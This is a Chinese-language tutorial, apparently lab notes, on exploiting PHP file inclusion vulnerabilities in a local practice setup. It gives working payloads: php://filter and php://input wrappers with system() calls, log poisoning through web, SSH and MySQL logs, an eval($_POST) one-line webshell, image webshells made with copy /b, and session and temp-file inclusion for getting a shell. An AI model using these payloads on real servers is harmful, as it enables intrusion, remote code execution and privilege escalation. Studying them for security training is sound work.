文件包含漏洞原理
1、源代碼
<?php$filename = $_GET['filename'];
include $filename; //或include_once,require,require_onceecho "歡迎來到PHP的世界.";?>
2、利用條件
php.ini中alllow_url_fopen=On(默認開啟)和allow_url_include=Off(默認關閉)要開啟
用戶參數可控且后臺代碼沒有對包含的文件進行過濾
3、利用方式
http://localhost/文件包含-practice/fileinc.php
報錯的內容是文件名不能為空,且無法打開,那我們就給上傳一個文件名的參數,即
http://localhost/文件包含-practice/fileinc.php?filename=common.php
http://localhost/文件包含-practice/a.php?username=zhangsan&password=123456
http://localhost/文件包含-practice/fileinc.php?filename=a.php
http://localhost/文件包含-practice/fileinc.php?filename=a.php?username=zhangsan&password=123456
回顯提示我們傳入的filename值為:a.php?username=zhangsan,我們的目的的文件名是a.php,所以就沒有找到對應的文件,就會報錯,將?改為&即可,回顯如下圖所示:
http://localhost/文件包含-practice/fileinc.php?filename=a.php&username=zhangsan&password=123456
http://localhost/文件包含-practice/fileinc.php?filename=./login.html
一旦使用include或其他三個文件包含的函數,那么無論包含的文件的后綴名是什么,均會當成PHP代碼執行
遠程文件包含
1、利用條件
php.ini中allow_url_fopen=On(默認開啟)和allow_url_include=Off(默認關閉)要開啟
用戶參數可控且后臺代碼沒有對包含的文件進行過濾
2、利用方式
http://localhost/%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB-practice/fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();
fileinc.php?filename=http://localhost/review/shell.php?code=phpinfo();,該段payload首先執行http://localhost/review/shell.php?code=phpinfo();,回顯的內容是第二個主機中的phpinfo,而不是我們想要的,我們可以將shell.php修改為shell.txt,將?修改為&,這樣的話不會回顯第二個主機中的phpinfo,因為首先讀取的是shell.txt中的一句話木馬,將一句話木馬的內容賦值給$filename,其次才會執行code=phpinfo();,返回的是我們想要的phpinfo
(fileinc.php?filename=http://localhost/review/shell.txt&code=phpinfo();)
PHP偽協議利用
一、偽協議介紹
PHP支持以下幾種協議:
file:// -訪問本地文件系統
http:// -訪問HTTP(S)網址
ftp:// -訪問FTP(S) URLS
php:// -訪問各個輸入/輸出流(I/O streams)
zlib:// -壓縮流
data:// -數據(RFC 2397)
glob:// -查找匹配的文件路徑模式
phar:// -PHP 歸檔
ssh2:// -Secure Shell 2
rar:// -RAR
ogg:// -音頻流
expect:// -處理交互式的流
php://是一種偽協議,主要是開啟了一個輸入輸出流,理解為文件數據傳輸的一個通道。php中的偽協議常使用的有如下幾個:
php://input???? php://filter???? phar://
二、php://filter
當我們直接包含common.php文件的時候,http://localhost/文件包含-practice/fileinc.php?filename=common.php
雖然代碼已經調用,但是因為其是php文檔,被web容器解釋,導致頁面看不到源碼內容。
這時候使用php://將我們要讀取的文件放在數據流里,然后我們通過偽協議的方式讀出來
php://filter/read/convert/base64-encode/resource=common.php
http://localhost/文件包含-practice/fileinc.php?filename=php://filter/read/convert.base64-encode/resource=common.php
這段命令的意思就是打開數據流,把common.php的內容用base64編碼的方式讀出來
我們執行后,在頁面上就能看到一串base64編碼的方式,通過工具解碼后就能看到明文源碼
三、php://input
此方法需要條件,即開啟allow_url_include=On。實際上這相當于一個遠程包含的利用。
php://打開文件流后,我們直接在流里面寫入我們的惡意代碼,此時包含既可執行代碼。
http://localhost/文件包含-practice/fileinc.php?filename=php://input
然后在POST請求中輸入惡意代碼,執行包含既可實現惡意代碼的執行,比如:
<?php phpinfo(); ?>
<?php system(`ifconfig`); ?>
文件包含漏洞利用
文件包含
程序員對于多次使用的代碼或數據,將其封裝成一個文件,使用include,require等函數進行包含調用
文件包含漏洞
由于web應用對于用戶輸入的數據沒有進行嚴格的過濾或沒有進行過濾,導致用戶輸入的數據可以直接接觸危險函數include,require等函數,從而使用戶或攻擊者的文件內容執行,使服務器淪陷。
首先先進入到/opt/lampp/logs,看一下其日志
將access_log和mysql_log給刪除掉,然后再重新啟動服務,日志文件就會重新生成
訪問一下這個網址,發現日志信息中已經被記載啦
訪問一下這個網址,發現無法找到對象
查看日志文件,發現多了一條記錄
然后去訪問一下這個日志,發現已經被包含進去了
我們發現有問題,通過查看原文件可以知道有些符號被轉碼了,有可能是瀏覽器先進行轉碼,然后發送給服務器,服務器如實的將其給記錄下來,當瀏覽器進行訪問的時候,服務器將其直接給發送過來了
我們在后面直接跟上一句話木馬,然后不要讓瀏覽器進行發送,使用bp抓包,通過bp去發送給服務器
發現日志依舊被轉碼
從bp中可以得知,是瀏覽器進行轉碼的
從bp中進行修改,將被轉碼的給修改過來
將抓取到的先發送到repeter,然后進行forward
然后再去查看一下日志,發現沒有被轉碼的,大概率有可能成功,但是后面的東西沒有了 ,應該是遇到空格就會截斷
將空格刪除了,然后send
然后去查看日志,發現全部沒有被轉碼,成功寫入
然后使用文件包含,給我們回顯的內容是400,964,說明已經開始執行php代碼了
將只有<?php的日志給刪除
然后再去執行一下,給我們回顯的內容是找不到phpinfo()這個函數,是因為在日志中函數與<?php和后面的?>連接到了一起,無法查找到這個函數
將轉碼成功的日志刪除掉,進去repeter,將<?php中的php給刪除掉,只變成<?phpinfo()?>,然后send,發現日志沒有被記錄進去,然后無論如何修改,日志都無法記錄進去,我們可以重啟一下,發現可以被記錄進去了
然后send
?發現被記錄進去了
然后我們將日志文件包含進去訪問一下,利用成功
文件路徑如果遇到空格就會被切斷的話,還有一個辦法就是,在一句話木馬兩邊加上雙引號,里邊的東西就不會被切斷,也可以正常的去寫php,也就是<?php @eval($_POST['code']); ?>
然后發送出去
去查看日志,發現寫入成功,但是?不見啦。所以我們將后面的空格給刪除了,重新發送一遍
發現寫入成功,成功構造出了一句話木馬,將倒數第二行給刪除,如果存在的話就會報錯,無法執行我們最新寫進去的一句話木馬
然后繼續執行就可以看到文件包含成功了,phpinfo()被正常的解析
使用菜刀進行連接
成功獲取到了權限
利用前提
(1)存在一個文件包含漏洞點
(2)我們有其他可控點可以寫入到本地文件
(3)寫入的本地文件路徑可知或可預測
包含web日志
前期通過信息搜集,得到了相關的服務器信息,比如得知中間件是apache
apache記錄web日志的文件有access.log和error.log
這時候我們訪問服務器的時候,通過burp修改我們的請求,將惡意代碼寫在請求內,這時候web日志就會將我們的惡意代碼寫入到日志文件中。由于日志文件一般來說都說默認的路徑,比較容易猜測,這樣就滿足了我們的本地包含getshell的條件。
比如get請求 get"<?php phpinfo();?>".html
包含登錄日志
如果發現一個Linux系統,開放了22端口,同時存在文件包含漏洞。那么我們可以構造惡意登錄在ssh登錄日志中寫入惡意代碼。
Linux默認登錄日志路徑: /var/log/auth.log或/var/log/secure
使用xshell或ssh命令進行ssh登錄:ssh"<?php phpinfo(); ?>"@192.68.3.17,此時,登錄日志中將出現PHP代碼。
如果MySQL開放遠程登錄,我們也同樣可以登錄MySQL并包含MySQL日志:mysql -u "<?php phpinfo(); ?>" -p -h 192.168.3.17
在Linux上默認是關閉MySQL日志的,開啟MySQL日志:
o+r的權限,就是允許其他用戶可讀
首先進入到log目錄下
其次使用ll查看一下文件的權限等等問題
secure默認日志文件其他賬號是不能夠進行讀取的
在secure日志中找到了能夠進行包含的日志文件
進行日志的實時監聽,找一找可以使用的點,rhost那兒不行,因為那是我們本機登錄的客戶端IP地址,然后繼續往下看,發現有用戶
我們可以在用戶這個層面上進行注入,直接輸入<?phpinfo();?>發現會報錯,我們在兩邊加上雙引號,讓它成為一個字符串,然后進行執行
發現執行成功,寫了一條日志,用戶名在日志中出現了,那么就是一個有效的php代碼,然后就可以使用文件包含進行執行這個有效的php代碼
進入到mysql的日志信息中去,經過觀察,有一些mysql的登錄信息
使用遠程登錄數據庫,然后將密碼輸錯,在用戶名那兒進行做文章
mysql -u "<?php phpinfo(); ?>" -p -h 192.168.122.188
然后查看mysql的日志,發現有被包含進去的有效的PHP代碼
然后在瀏覽器上訪問mysql的日志,發現權限不允許
然后通過ll命令去查看mysql.log的訪問權限,mysql的日志文件是由mysql這個用戶生成的
我們給其授予o+r的權限,因為我們是root用戶,所以可以授權,同時也是我們自己的環境,如果是現實真實環境的話,我們就無法去做到授予權限
然后再去查看mysql.log的日志權限,發現已經有r的權限啦,然后我們就可以進行包含利用啦
然后再繼續訪問,發現可以包含成功了,成功解析了日志文件中的有效的PHP代碼
首先進入到mysql目錄下,然后使用ll命令查看文件的權限,我們可以自己創建一個目錄,把這個目錄當作mysql日志信息的目錄,然后修改owner,修改為mysql用戶,意思是該mysql的日志信息是由mysql用戶寫入的,將 log 目錄(或文件)的所有者更改為用戶 mysql
包含mysql日志
包含mysql一般是在成功訪問到MySQL后實現的。攻擊者進入MySQL,可以通過數據庫查詢接口,實現惡意代碼的寫入mysql日志。方法和原理與包含Web日志相同。比如進入phpmyadmin后臺,或者爆破成功進入MySQL。
查看日志文件狀態:show varianbles like 'general_log'
寫入惡意代碼:select "<?php @eval($_POST['code']); ?>",根據日志文件路徑即可包含。雖然能夠到這一步,已經是滲透測試成功,但是如果Web服務器的權限更高的話,那么可以讓Web服務器來包含日志,這樣Web Shell就會被高權限賬號執行,實現提權。
進入到mysql的日志文件mysql.log,并用tail -f mysql.log進行實時查看
?然后去執行這條mysql命令
找到剛才的SQL語句,里面有一段有效的PHP代碼
我們已經能夠執行SQL語句,說明我們獲得了一個比較高的權限,不存在包含日志,有可能是因為不同賬戶之間存在一些權限的問題,所以我們就想著用mysql賬戶去寫一條日志,在web瀏覽器上包含進來,然后可以使用web服務器的權限來執行了,如果web服務器的權限比較高,我們就成功的提權了
包含上傳文件
上傳的話因為會檢查后綴名,導致直接上傳可執行文件失敗,如果存在文件包含,就可以上傳符合服務器的后綴名文件,但是在文件中寫入惡意代碼。比如使用圖片馬來進行文件上傳,進而再將其包含進來
copy picture.jpg/b + shell.php/a picna.jpg
首先先去找一張圖片
使用瀏覽器去訪問一下,圖片包含進去就是這個樣子,以文本的形式進行輸出,所以我們想辦法往圖片里邊插入一句話木馬,就變成了圖片馬
隨便去找一張圖片
然后還有一個shell.php
?同時打開這兩個東西,我們將這兩個東西合起來,制作一張圖片馬,進到該文件所在目錄的終端里面
/b是二進制,表示cloud.jpg/b是一個二進制文件,shell.php/a是一個文本,將shell.php加到cloud.jpg的后面,然后復給picma.jpg
發現圖片馬也是一張圖片,沒有任何問題
將其用記事本打開,拉到最后面,發現有我們需要的PHP的有效的代碼
上傳這個圖片馬,發現上傳成功
接下來在文件包含里面包含這個圖片馬,然后就可以得到phpinfo啦
還可以執行一些其他指令
包含臨時文件
臨時文件指的是服務器會短暫存儲,但是后續很快刪除的文件。比如上傳檢測的時候,某些檢測機制會先把上傳的文件保存到一個臨時文件夾里或沙盒里,臨時文件要看具體業務邏輯,而且包含臨時文件需要利用條件競爭的方式。動靜比較大,容易被發現。
競爭條件的使用方法:
a、使用burpsuite不停的發送上傳包
b、我們在文件包含頁面不停的嘗試包含上傳文件,期望惡意文件在被服務器刪除之前訪問到。
c、一旦包含成功,即使文件被刪除,只要shell不斷,就可以保持連接
包含session文件
通過cookie可以得知sessionID,session文件默認在服務器中存放的格式是sess_(sessID),而路徑也是固定的,大多存在tmp目錄下,因此只要找到一個可以控制session文件寫入的點,就能利用包含漏洞getshell
讓有效的PHP代碼寫入到session文件當中去
然后把session文件包含進去,只要里面有一段有效的PHP代碼,我們就可以直接執行啦,最大的問題就是看看這個網站能不能構造出寫session文件的地方,然后我們把代碼給寫進去,這個session文件是相對路徑
我們也可以使用絕對路徑